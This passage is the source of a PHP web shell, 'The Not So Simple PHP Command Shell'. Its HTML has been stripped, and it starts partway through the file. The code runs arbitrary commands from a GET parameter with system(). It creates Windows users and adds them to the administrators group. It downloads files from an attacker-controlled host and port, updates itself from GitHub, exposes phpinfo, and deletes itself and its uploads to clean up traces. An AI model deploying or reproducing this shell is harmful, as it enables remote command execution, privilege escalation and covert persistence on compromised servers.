Error!

resource not found. make sure specified file exists on the target box

'; } } echo '

The Not So Simple PHP Command Shell


Command
QuickLinks   

 

File Options



Quick Enum Options
     

     

User Management Options
  

       

Update
'; if (isset($_GET['addUser'])){ if(empty($_GET['user'])) die('

Error!

you need to enter a username for the new user

'); if(empty($_GET['pass'])) die('

Error!

you need to enter a password for the new user

'); echo '
';
            echo (system("net user ".$_GET['user']." ".$_GET['pass']." /add"));
            echo '
'; } if (isset($_GET['userAdmin'])){ if(empty($_GET['user'])) die('

Error!

you need to enter a user to escelate to admin

'); echo '
';
            echo (system("net localgroup administrators ".$_GET['user']." /add"));
            echo '
'; } if (isset($_GET['userStandard'])){ if(empty($_GET['user'])) die('

Error!

you need to enter a user to revoke admin

'); echo '
';
            echo (system("net localgroup administrators ".$_GET['user']." /del"));
            echo '
'; } if (isset($_GET['delUser'])){ if(empty($_GET['user'])) die('

Error!

you need to enter a user to delete

'); echo '
';
            echo (system("net user ".$_GET['user']." /del"));
            echo '
'; } if (isset($_GET['upload'])) { if($_GET['upload'] == "") die('

Error!

you must choose a file to upload first.

'); if($_GET['upload'] == "Choose") die('

Error!

you must choose a file to upload first.

'); $action = $_GET['upload']; if(!in_array($action, $_SESSION['actions'])) { $_SESSION['actions'][] = $action; // var_dump($_SESSION['actions']); } if(!file_put_contents($_GET['upload'], file_get_contents("http://".$attackip.":".$attackport."/" .$_GET['upload']))) { die('

Error!

Upload Failed!

'); } else { echo '

File uploaded successfully.

'; } /* echo '
';
            var_dump($_SESSION['actions']);
            echo '
';*/ } if (isset($_GET['cmd'])) { if($_GET['cmd'] == "") die('

Error!

no command specified. you must enter a command to be executed

'); echo '
';
            echo (system($_GET['cmd']));
            echo '
'; } if (isset($_GET['update']) && $_GET['update'] == "true"){ file_put_contents('nsscmdshell.php', file_get_contents('https://raw.githubusercontent.com/kaotickj/The-Not-So-Simple-PHP-Command-Shell/main/nsscmdshell.php')); } if (isset($_GET['links'])) { echo '

Quick Links:

Msfvenom Cheat Sheet
Reverse Shell Cheat Sheet
ExploitDB
CX Security Vulnerability Database
Nishang Usage
Windows Post-Exploitation Commands'; } if (is_get_request()){ if (isset($_GET['phpInfo'])) { // echo '
';
        phpinfo();
//        echo '
'; } if (isset($_GET['kill_me'])) { if (!unlink ('nsscmdshell.php')){ die('

Error!

File can\'t be deleted.

'); } else { echo 'Success!
'; } } if (isset($_GET['clean'])) { if (session_status() === PHP_SESSION_NONE) { session_start(); } $cleans = $_SESSION['actions']; $alerts = ""; foreach($cleans as $clean) { if (!unlink ($clean)){ die('

Error!

'. $clean .' can\'t be deleted.

'); } else { $alerts .= $clean .'
'; } } if ($_SESSION){ unset($_SESSION['actions']); session_destroy(); ob_start(); ob_clean(); sleep(1); if ($_SESSION['actions'] == NULL) { ?>

Deleted:

Cleanup completed successfully.

Do you also want to delete nsscmdshell.php?


Error!

Nothing to do!

'); } } if (isset($_GET['check'])) { echo '
 Contents of $_SESSION[\'actions\']: 
';
        var_dump($_SESSION['actions']);
        echo '
'; } } ?>